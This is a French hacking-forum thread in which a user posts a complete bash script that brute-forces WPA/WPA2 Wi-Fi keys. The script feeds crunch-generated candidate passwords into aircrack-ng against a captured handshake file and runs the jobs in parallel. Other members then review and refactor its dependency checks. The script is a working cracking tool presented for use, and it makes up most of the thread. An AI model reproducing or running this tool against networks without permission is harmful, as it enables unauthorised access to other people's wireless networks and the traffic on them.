Annonce

Réduire
Aucune annonce.

Script bash pour le crack par force brute des clés WPA/WPA2

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Script bash pour le crack par force brute des clés WPA/WPA2

    Salut, je suis Rodrigue Daniel

    Je partage avec vous mon script bash, permettant de faire le crack par force brute sur les clés WPA(ou WPA2) pour un réseau WIFI.
    Mon script fait la combinaison de trois programmes : crunch, aircrack-ng, parallel(version 3). En effet une fois que l'on a récupéré le fichier issu du challenge entre un client légitime et le point d'accès ciblé, alors l'on peut utiliser ce script pour lancer une attaque par force brute pour casser une clé WPA(ou WPA2). Voici mon script :

    Code:
    #!/bin/bash
    #
    # bruteForceWPA : Script de crack WIFI des clés WPA/WPA2
    # Rodrigue Daniel (email : [email protected])
    # Mon blog : rodriguedaniel.blogspot.com
    # 16/08/2015
    # Dépendances : crunch, aircrack-ng, parallel (version 3)
    # Testé sur Ubuntu et Kali Linux
     
    set -u
     
    ###########################################################################################
    # Definitions des variables
    mini="" # variable contenant la longueur minimale des mots de passe
    maxi="" # variable contenant la longueur maximale des mots de passe
    ensCarac="" # variable contenant l'ensemble des caractères à utiler
    numEnsCarac="" # variable contenant le numero de l'ensemble des caractères à utiliser
    fichierCap="" # variable contenant le fichier .cap à craquer
    chaineEssid="" # variable contenant la chaîne essid du point d'accès WIFI
    option=""  # variable contenant les options
    optionSeul=""  # variable spécifiant le traitement unique de l'option -h ou --help 
    comSyntOpt="" # variable spécifiant que la combinaison des options a et m est interdite
    versionParallel="" # variable contenant la version du programme parallel
    # Ensemble des caractères à utiliser
    format1='1 -> [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ ]'
    format2='2 -> [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ]'
    format3='3 -> [[email protected]#$%^&*()-_+= ]'
    format41='4 -> [[email protected]#$%^&*()-_+=~[]{}|\:;"'
    format42="'"
    format43='<>,.?/ ]'
     
    ###########################################################################################
    # Debut du script
    version="0.2"
     
    clear
    echo -e "\e[00;31m###########################################################\e[00m"
    echo -e "\e[00;31m#                                                         #\e[00m"
    echo -e "\e[00;31m#  bruteForceWPA : crack wifi (WPA/WPA2)                  #\e[00m"
    echo -e "\e[00;31m#                                                         #\e[00m"
    echo -e "\e[00;31m###########################################################\e[00m"
     
    # Vérification du mode root
    if [[ $EUID -ne 0 ]]; then
            echo -e "\n Erreur : Ce programme doit être éxécuté en root.\n"
            exit 1
    fi
     
    # Vérification de la présence du programme crunch
    which crunch >/dev/null
    if [ $? -eq 1 ]; then
            echo -e "\n Erreur : Impossible de trouver le programme crunch, installez-le et rééssayez.\n"
            exit 1
    fi
     
    # Vérification de la présence du programme aircrack-ng
    which aircrack-ng >/dev/null
    if [ $? -eq 1 ]; then
            echo -e "\n Erreur : Impossible de trouver le programme aircrack-ng, installez-le et réessayez.\n"
            exit 1
    fi
     
    # Vérification de la présence du programme parallel et de sa bonne version
    which parallel >/dev/null
    if [ $? -ne 0 ]; then
            echo -e "\n Erreur : Impossible de trouver le programme parallel, installez-le et réessayez.\n"
            exit 1
    else
            versionParallel=$(parallel --will-cite --version 2> /dev/null | grep version | cut -d " " -f 6)
            if [ $versionParallel -lt 3 ]; then
                 echo -e  "\n Erreur : Installez une version >= 3 du programme parallel.\n"
                 exit 1
            fi
    fi
     
    while getopts ":a:c:f:g:hm:p:-:" option ; do
     if [ "$option" = "-" ] ; then
      case $OPTARG in
       help ) option=h ;;
       #max ) option=g ;;
       #min ) option=p ;;
       * ) echo "$(basename $0): Option inconnue $OPTARG"
           echo -e "Essayer '$0 --help' pour plus d'information.\n"
           option=""
           ;;
      esac
     fi
     case $option in
      h ) echo -e "\nVersion $(basename $0) $version - (C) 2015"
          echo -e "Auteur: Rodrigue Daniel (email : [email protected]) \n"
          echo "Syntaxe : $0 [option...]"
          echo -e "\nOptions :"
          echo " -a <chiffre> : Numéro de l'ensemble des caractères ci-dessous à utiliser (par défaut -> 1)."
          echo ""
          echo -ne "\t"
          echo $format1
          echo -ne "\t"
          echo $format2
          echo -ne "\t"
          echo $format3
          echo -ne "\t"
          echo -n $format41
          echo -n $format42
          echo $format43
          echo -e "\t (Par défaut l'option -a est pris en compte)"
          echo -e "\n -c <essid> : Nom essid du point d'accès WIFI (Option Obligatoire)."
          echo " -f <chaine> : Nom du fichier d'extension '.cap' à craquer (Option Obligatoire)."
          echo " -m <chaine> : Ensemble des caractères à saisir manuellement. Ne pas utiliser avec '-a' ."
          echo " -g <entier> : Longueur maximun des mots de passe (par défaut -> 15)."
          echo " -h, --help : Cet écran d'aide."
          echo -e " -p <entier> : Longueur minimun des mots de passe (par défaut -> 5).\n"
          optionSeul="o"
          exit 1
          ;;
      a ) if [ "$optionSeul" != "o" ] ; then
           if [ "$comSyntOpt" = "m" ] ; then
             echo "Erreur de syntaxe: '-a' ne doit pas être utilisée avec '-m'"
             echo -e "Essayer '$0 --help' pour plus d'information.\n"
             exit 1
           else
            numEnsCarac=$OPTARG
            case $numEnsCarac in
                    1 ) ensCarac="mixalpha-space";;
                    2 ) ensCarac="mixalpha-numeric-space";;
                    3 ) ensCarac="mixalpha-numeric-symbol14-space";;
                    4 ) ensCarac="mixalpha-numeric-all-space";;
            esac
          fi
         fi
         ;;
      c )if [ "$optionSeul" != "o" ] ; then
          chaineEssid=$OPTARG
         fi
         ;;
      f ) if [ "$optionSeul" != "o" ] ; then
           if [ "${OPTARG##*.}" != "cap" ] ; then
              echo "Nom fichier incorrect"
              echo -e "Essayer '$0 --help' pour plus d'information.\n"
              exit 1
           else
              fichierCap=$OPTARG
           fi
          fi
          ;;
      g ) if [ "$optionSeul" != "o" ] ; then
              maxi=$OPTARG
          fi
          ;;
      m ) if [ "$optionSeul" != "o" ] ; then
           if [ "$numEnsCarac" != "" ] ; then
               echo "Erreur de syntaxe: '-a' ne doit pas être utilisée avec '-m'"
               echo -e "Essayer '$0 --help' pour plus d'information.\n"
               exit 1
           else
               ensCarac=$OPTARG
               comSyntOpt="m" # m -> configuration manuelle de l'ensemble des caractères à utiliser
           fi
          fi
          ;;
      p ) if [ "$optionSeul" != "o" ] ; then
              mini=$OPTARG
          fi
          ;;
      : ) if [ "$optionSeul" != "o" ] ; then
           echo "Argument manquant pour l'option -$OPTARG"
           echo -e "Essayer '$0 --help' pour plus d'information.\n"
           exit 1
          fi
          ;;
      ? ) if [ "$optionSeul" != "o" ] ; then
           echo "$(basename $0): Option inconnue $OPTARG"
           echo -e "Essayer '$0 --help' pour plus d'information.\n"
           exit 1
         fi
         ;;
     esac
    done
     
    # Exécution du crack de la clé WPA/WPA2
     
    i=${mini:-5}
    j=${maxi:-15}
     
    if [ $i -eq $j ] ; then
            echo "1" > /tmp/temporaire
            echo "$i" >> /tmp/temporaire
    else
            while [ $i -le $j ] ; do
                    echo "$i" >> /tmp/temporaire
                    i=$((i + 1))
            done
    fi
     
    bruteForce ()
    {
     if [ "$numEnsCarac" = "" ] ; then
           ( crunch $1 $1 $ensCarac  2>/dev/null | aircrack-ng $fichierCap -e $chaineEssid -l resCrack -w- ) >/dev/null 2>&1
     else
           ( crunch $1 $1 -f charset.lst $ensCarac  2>/dev/null | aircrack-ng $fichierCap -e $chaineEssid -l resCrack -w- ) >/dev/null 2>&1
     fi
    }
     
    if [ "$optionSeul" != "o" ] ; then
     if [ "$chaineEssid" = "" ] || [ "$fichierCap" = "" ] ; then
          echo "Les options -c et -f sont obligatoires"
          echo -e "Essayer '$0 --help' pour plus d'information.\n"
          exit 1
     else
          export -f bruteForce
          export numEnsCarac
          export ensCarac
          export fichierCap
          export chaineEssid
          parallel --will-cite --bar -a /tmp/temporaire bruteForce >/dev/null # Parallélisme
          rm /tmp/temporaire
     fi
    fi
    exit 0

    Vos critiques, vos suggestions seront la bienvenue...
    MERCI
    Dernière modification par rodrigue daniel, 30 décembre 2015, 07h49.
    Passionné par la Sécurité Informatique.
    Le véritable ennemi de la connaissance n'est pas l'ignorance mais l'illusion de la connaissance.
    La quête de la connaissance passe d'abord par l'humilité et ensuite la détermination.

  • #2
    Code:
    which crunch >/dev/null
    if [ $? -eq 1 ]; then
            echo -e "\n Erreur : Impossible de trouver le programme crunch, installez-le et rééssayez.\n"
            exit 1
    fi
     
    # Vérification de la présence du programme aircrack-ng
    which aircrack-ng >/dev/null
    if [ $? -eq 1 ]; then
            echo -e "\n Erreur : Impossible de trouver le programme aircrack-ng, installez-le et réessayez.\n"
            exit 1
    fi
     
    # Vérification de la présence du programme parallel et de sa bonne version
    which parallel >/dev/null
    if [ $? -ne 0 ]; then
            echo -e "\n Erreur : Impossible de trouver le programme parallel, installez-le et réessayez.\n"
            exit 1
    Ne pourrait-on pas utiliser une boucle for par exemple ?

    Commentaire


    • #3
      Salut

      fred, tu as parfaitement raison : la factorisation du code. J'édite la partie du code tout de suite et je fais le retour sur cette partie.
      Il faudrait aussi que je gère la partie concernant la version du programme "parallel".
      Merci beaucoup, j'améliore le code et je fais le retour de la partie améliorée...
      Passionné par la Sécurité Informatique.
      Le véritable ennemi de la connaissance n'est pas l'ignorance mais l'illusion de la connaissance.
      La quête de la connaissance passe d'abord par l'humilité et ensuite la détermination.

      Commentaire


      • #4
        Salut

        Voici la partie du codée modifiée.

        Code:
        for compteur in crunch aircrack-ng parallel ; do
        
                which "$compteur" >/dev/null
                if [ $? -ne 0 ]; then
                        echo -e "\n Erreur : Impossible de trouver le programme $compteur, installez-le et rééssayez.\n"
                        exit 1
                elif [ "$compteur" = "parallel" ] ; then
                        versionParallel=$(parallel --will-cite --version 2> /dev/null | grep version | cut -d " " -f 6)
                        if [ $versionParallel -lt 3 ]; then
                                echo -e  "\n Erreur : Installez une version >= 3 du programme parallel.\n"
                                exit 1
                        fi
                fi
        
        done
        J'ai fait les tests mais je constate que le programme devient un peu lent. Peut être faudrait-il que je parallélise la boucle for..in
        Bon je vais faire les tests. Apparemment le code va se compliquer un peu...
        Passionné par la Sécurité Informatique.
        Le véritable ennemi de la connaissance n'est pas l'ignorance mais l'illusion de la connaissance.
        La quête de la connaissance passe d'abord par l'humilité et ensuite la détermination.

        Commentaire


        • #5
          Salut

          OK, j'ai trouvé une solution. Au lieu de paralléliser la portion de ce code, j'ai opté pour une fonction simple qui prend en paramètre chaque nom des programmes : crunch, aircrack-ng et parallel. Voici la portion du code modifiée :

          Code:
          # Vérification de la présence des programmes : crunch, aircrack-ng et parallel (version 3)
          verifCommande ()
          {
                  which $1 >/dev/null
                  if [ $? -ne 0 ]; then
                          echo -e "\n Erreur : Impossible de trouver le programme $1, installez-le et rééssayez.\n"
                          exit 1
                  elif [ "$1" = "parallel" ] ; then
                          versionParallel=$(parallel --will-cite --version 2> /dev/null | grep version | cut -d " " -f 6)
                          if [ $versionParallel -lt 3 ]; then
                                  echo -e  "\n Erreur : Installez une version >= 3 du programme parallel.\n"
                                  exit 1
                          fi
                  fi
          
          }
          verifCommande crunch
          verifCommande aircrack-ng
          verifCommande parallel
          C'était un peu difficile de paralléliser le code, plus précisément la boucle for..in car je devais aussi tester la présence du programme parallel et sa bonne version.
          Merci pour ton aide fred
          SVP, vos suggestions, vos critiques et vos conseils seront encore la bienvenue.
          Merci
          Dernière modification par rodrigue daniel, 30 décembre 2015, 12h26.
          Passionné par la Sécurité Informatique.
          Le véritable ennemi de la connaissance n'est pas l'ignorance mais l'illusion de la connaissance.
          La quête de la connaissance passe d'abord par l'humilité et ensuite la détermination.

          Commentaire


          • #6
            Mouais je ne suis pas convaincu, mais ne connaissant pas suffisamment le bash...

            Sinon, as-tu besoin d'initialiser toutes ces variables au départ, étant donné que tu ne les concatènes pas par la suite, mais les utilise pour assigner une autre valeur (attention à mes termes).

            Je pense vraiment qu'on peut utiliser une boucle for, et par la suite si tout se passe bien, vérifier la version de parallel, non ?

            Commentaire


            • #7
              Salut

              En bash, les variables ne sont pas typées. J'ai utilisé la commande set avec son option -u pour éviter les erreurs de manipulation de mes variables et cette mention permet de ressortir une erreur lorsqu'on utilise une variable qui n'existe pas. C'est pourquoi il faut une initialisation au départ pour permettre l'existance d'une variable.
              Pour la boucle for..in, j'ai encore fait un constat ce matin lors de mes tests. EN utilisant cette boucle et en affichant le temps d'éxécution avec la commande time j'ai eu deux résulats suivants : test pour la demande d'aide de mon script

              - premier test avec le code sans la boucle for..in

              Code:
              time ./bruteforceWPA.sh -h
              real 0m0.129s
              user 0m0.116s
              sys 0m0.004s

              -deuxième test avec le code contenant la boucle for..in

              Code:
              time ./bruteforceWPA2.sh -h
              pour la première fois
              real 0m0.186s
              user 0m0.116s
              sys 0m0.020s
              ---------------------------
              pour la seconde fois
              real 0m0.137s
              user 0m0.112s
              sys 0m0.012s
              J'ai constaté qu'avec la boucle for..in, à la première éxécution, mon script est lent mais après ça change (il devient un peu comme le deuxième à partir de la deuxième tentative). Avec le code sans le for..in, il y'a une variation entre 0m0.129s et 0m0.141s.
              Cela me pertube un peu lorsque je vois la complexité en temps de ces deux scripts. Peut être qu'il faudrait que j'optimise un peu.
              Pour paralléliser un code en bash ou une portion de code, on utilise très souvent le programme parallel qui crée des processus qui s'éxécutent à la fois et permet d'optimiser le temps d'exécution.
              Dernière modification par rodrigue daniel, 31 décembre 2015, 14h21.
              Passionné par la Sécurité Informatique.
              Le véritable ennemi de la connaissance n'est pas l'ignorance mais l'illusion de la connaissance.
              La quête de la connaissance passe d'abord par l'humilité et ensuite la détermination.

              Commentaire


              • #8
                Bon je fais un truc vite fait car on s'égare...

                Tu ne peux pas tester la présence de tout tes programmes, et si c'est ok, seulement par la suite vérifier la version de parallel ?

                Code:
                declare -a arr=(crunch aircrack-ng parallel)
                
                ERREUR="Erreur : Impossible de trouver le programme "
                
                for command in "${arr[@]}"; do
                    which $command < /dev/null
                    if [ $? -eq 1 ]; then
                        echo -e $ERREUR$command
                        exit 1
                    fi
                done
                
                # Si ça passe traitement de la version de parallel
                
                exit 0
                Pourquoi parler d'optimisation, on est loin d'avoir un code propre et net
                Dernière modification par fred, 31 décembre 2015, 16h24.

                Commentaire


                • #9
                  Salut et Bonne année

                  Merci beaucoup fred.
                  Une chose, ta redirection
                  Code:
                  which $command < /dev/null
                  me chargrine un peu. STP, je souhaiterais une explication. Je vais aussi observer la complexité en temps. Merci beaucoup pour le code.
                  SVP, vos suggestions, vos critiques et vos conseils seront encore la bienvenue.
                  Passionné par la Sécurité Informatique.
                  Le véritable ennemi de la connaissance n'est pas l'ignorance mais l'illusion de la connaissance.
                  La quête de la connaissance passe d'abord par l'humilité et ensuite la détermination.

                  Commentaire


                  • #10
                    Désolé, c'est

                    Code:
                    which $command > /dev/null
                    Ce qui est important c'est le principe, je ne maîtrise pas le langage bash, à toi de modifier selon ton réel besoin

                    Si je devais le faire dans un autre langage, je choisirais Python

                    Code:
                    def exist(*programs):
                        '''Check presence of program in programs'''
                        for program in programs:
                            value = Popen(["which", program], stdout=PIPE)
                            stdout, _ = value.communicate()
                            if not stdout:
                                print("le programme {} est manquant !".format(program))
                                return False
                        return True
                    Aucune critique envers le bash, en plus je trouve cela justifié de le choisir, mais je maîtrise mieux le langage...
                    Dernière modification par fred, 01 janvier 2016, 11h07.

                    Commentaire


                    • #11
                      Pas besoin de boucle for pour tout tester, tu peux tout tester avec which et faire une comparaison avec une list

                      deplist=

                      which app1 app2 app3 etc... fonctionne il suffit de vérifier quelle dépendance manque tu gagneras en vitesse avec time ainsi et utiliseras moins de ressources.

                      Edit: essaye ceci

                      Code:
                      for compteur in crunch aircrack-ng parallel ; do
                        which "$compteur" >/dev/null || echo -e "\n Erreur : Impossible de trouver le programme $compteur, installez-le et réessayez.\n"
                      done
                      Dernière modification par Iddl3, 01 janvier 2016, 19h18.
                      WITHOUT DEVIATION FROM THE NORM, PROGRESS IS NOT POSSIBLE
                      -Frank Zappa

                      Commentaire


                      • #12
                        Salut et Bonne année

                        Merci Iddl3, c'est bien pensé. Mais il y'a un détail : avec ton code, le programme ne va pas s'arrêter si une dépendance n'est pas installée.
                        C'est pourquoi dans mon code ci-dessus, j'avais mis la ligne <exit 1>. Avec ta méthode de pipeline, j'ai un peu réfléchi comment le faire mais je ne trouve pas...STP aide moi.
                        MERCI
                        Passionné par la Sécurité Informatique.
                        Le véritable ennemi de la connaissance n'est pas l'ignorance mais l'illusion de la connaissance.
                        La quête de la connaissance passe d'abord par l'humilité et ensuite la détermination.

                        Commentaire


                        • #13
                          Pourquoi tu n'installe pas la dépendence manquante directement ? je suppose que tu utilise Kali.

                          Code:
                          for compteur in crunch aircrack-ng parallel ; do
                            which "$compteur" >/dev/null || apt-get install $compteur
                          done
                          WITHOUT DEVIATION FROM THE NORM, PROGRESS IS NOT POSSIBLE
                          -Frank Zappa

                          Commentaire


                          • #14
                            Envoyé par rodrigue daniel Voir le message
                            Salut et Bonne année

                            Merci Iddl3, c'est bien pensé. Mais il y'a un détail : avec ton code, le programme ne va pas s'arrêter si une dépendance n'est pas installée.
                            C'est pourquoi dans mon code ci-dessus, j'avais mis la ligne <exit 1>. Avec ta méthode de pipeline, j'ai un peu réfléchi comment le faire mais je ne trouve pas...STP aide moi.
                            MERCI
                            comme ceci

                            Code:
                            missingdep(){
                            echo -e "\n Erreur : Impossible de trouver le programme $compteur, installez-le et rééssayez.\n"
                            exit 1   
                            ## ou ceci echo "apt-get install $compteur"
                            }
                            
                            deplist="cp ls crunch"
                            
                            for compteur in $deplist ; do
                              which "$compteur" >/dev/null || missingdep
                            done
                            WITHOUT DEVIATION FROM THE NORM, PROGRESS IS NOT POSSIBLE
                            -Frank Zappa

                            Commentaire


                            • #15
                              Salut

                              Merci beaucoup Iddl3, ça marche. Ton code est cool. Pour optimiser, il fallait juste que je fasse une boucle for..in, ensuite (comme fred l'a bien dit) je teste la version de parallel. Dans mon ancien code, le test se faisait à chaque tour de boucle car j'avais mis le test à l'intérieur.
                              Bon Iddl3, ce n'est pas trop cool si notre programme installe ces dépendances car certains programmes (sauf si je me trompe) s'installent à partir de leur source et en plus avec le problème de version. C'est pourquoi j'ai opté laisser le choix aux utilisateurs de le faire.

                              MERCI beaucoup les gars, pour votre aide (j'ai bien optimisé mon code).
                              Dernière modification par rodrigue daniel, 03 janvier 2016, 19h42.
                              Passionné par la Sécurité Informatique.
                              Le véritable ennemi de la connaissance n'est pas l'ignorance mais l'illusion de la connaissance.
                              La quête de la connaissance passe d'abord par l'humilité et ensuite la détermination.

                              Commentaire

                              Chargement...
                              X